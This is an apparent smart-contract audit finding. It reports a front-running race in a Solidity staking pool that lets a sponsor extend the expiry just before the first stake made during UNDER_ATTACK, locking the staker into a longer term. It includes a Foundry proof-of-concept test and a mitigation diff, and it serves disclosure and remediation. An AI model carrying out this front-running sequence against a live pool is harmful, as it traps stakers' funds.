FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

First Active-Risk Staker Can Be Sandwiched into a Longer Coverage Term

Author Revealed upon completion

Root + Impact

Description

Sponsors are allowed to update expiry only until the first stake. This is meant to protect staker reliance: once anyone deposits against a deadline, the sponsor can no longer move it. Deposits during UNDER_ATTACK are also intentionally allowed; the depositor voluntarily accepts visible active risk, and the deposit self-locks into the resolution path.

The first active-risk staker cannot bind the expiry they inspected. While the pool has no prior stake, the sponsor can front-run the first pending stake() call with setExpiry() to a much later timestamp. The victim's stake() then observes UNDER_ATTACK, locks the sponsor-mutated expiry, sets riskWindowStart, and immediately disables withdrawal. At the originally inspected expiry, claimExpired() still reverts because the sponsor-selected later expiry is now binding.

This is not a finding that UNDER_ATTACK deposits are unsafe in general. The issue is a term-rebinding race against the first active-risk staker.

The mutable expiry setter is ConfidencePool.sol::setExpiry:

function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked();
if (newExpiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (newExpiry > type(uint32).max) revert ExpiryTooFar();
uint256 oldExpiry = expiry;
@> expiry = uint32(newExpiry);
emit ExpiryUpdated(oldExpiry, newExpiry);
}

The first stake locks the currently stored expiry in ConfidencePool.sol::stake:

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
@> _assertDepositsAllowed(_observePoolState());
@> if (!expiryLocked) {
@> expiryLocked = true;
}
}

The deposit gate in ConfidencePool.sol::_assertDepositsAllowed still allows staking during UNDER_ATTACK:

function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}

The withdrawal gate in ConfidencePool.sol::withdraw disables exit after risk is observed:

IAttackRegistry.ContractState state = _observePoolState();
if (
@> riskWindowStart != 0
|| (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
&& state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
) {
revert WithdrawsDisabled();
}

Risk

Likelihood: Medium

  • The pool has no prior stake, so expiryLocked is still false.

  • The registry is already in UNDER_ATTACK, where staking is intentionally allowed.

  • A sponsor observes the first pending stake and submits setExpiry() first, changing the term before the victim's transaction executes.

Impact: Medium

  • The first active-risk staker is forced into a longer underwriting term than the one they inspected.

  • The same stake transaction seals riskWindowStart, so the staker cannot withdraw after execution.

  • The longer term increases the staker's exposure to later CORRUPTED settlement and withholds liquidity until the sponsor-selected expiry or moderator resolution.

Proof of Concept

The PoC file included with this report is:

ActiveRiskFirstStakeExpiryFrontRunPoC.t.sol

To run it in a fresh contest checkout:

  1. Copy ActiveRiskFirstStakeExpiryFrontRunPoC.t.sol into the repository's test/ directory.

  2. Run:

forge test --match-contract ActiveRiskFirstStakeExpiryFrontRunPoC -vv

Expected result:

1 passed, 0 failed

The PoC demonstrates:

  • The exploit path: registry is UNDER_ATTACK, sponsor extends expiry before the first stake, the staker locks the changed expiry, cannot withdraw, and cannot claim at the original expiry.

Inline PoC source (ActiveRiskFirstStakeExpiryFrontRunPoC.t.sol):

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract ActiveRiskFirstStakeExpiryFrontRunPoC is BaseConfidencePoolTest {
function testSponsorCanExtendExpiryImmediatelyBeforeFirstActiveRiskStake() external {
uint256 originalExpiry = pool.expiry();
uint256 extendedExpiry = block.timestamp + 365 days;
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
assertFalse(pool.expiryLocked(), "no first stake yet");
assertEq(pool.riskWindowStart(), 0, "pool has not observed active risk yet");
pool.setExpiry(extendedExpiry);
assertEq(pool.expiry(), extendedExpiry, "expiry changed while active-risk");
token.mint(alice, 100 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
assertTrue(pool.expiryLocked(), "first stake locks changed expiry");
assertEq(pool.riskWindowStart(), block.timestamp, "stake observes active risk");
assertEq(pool.eligibleStake(alice), 100 * ONE, "alice is staked");
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
vm.warp(originalExpiry);
vm.prank(alice);
vm.expectRevert(IConfidencePool.PoolNotExpired.selector);
pool.claimExpired();
}
}

Recommended Mitigation

Prevent expiry changes once active risk can be observed, even if no stake has landed yet. A local fix is to make setExpiry() observe registry state and reject outside pre-attack states.

function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked();
+ IAttackRegistry.ContractState state = _observePoolState();
+ if (
+ riskWindowStart != 0
+ || (state != IAttackRegistry.ContractState.NOT_DEPLOYED
+ && state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
+ && state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
+ ) revert ExpiryLocked();
if (newExpiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (newExpiry > type(uint32).max) revert ExpiryTooFar();
...
}

For stronger user protection, add a stake entrypoint that binds expected terms, such as stakeWithExpectedExpiry(amount, expectedExpiry), so pending stake transactions revert if the sponsor changes the expiry before execution.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!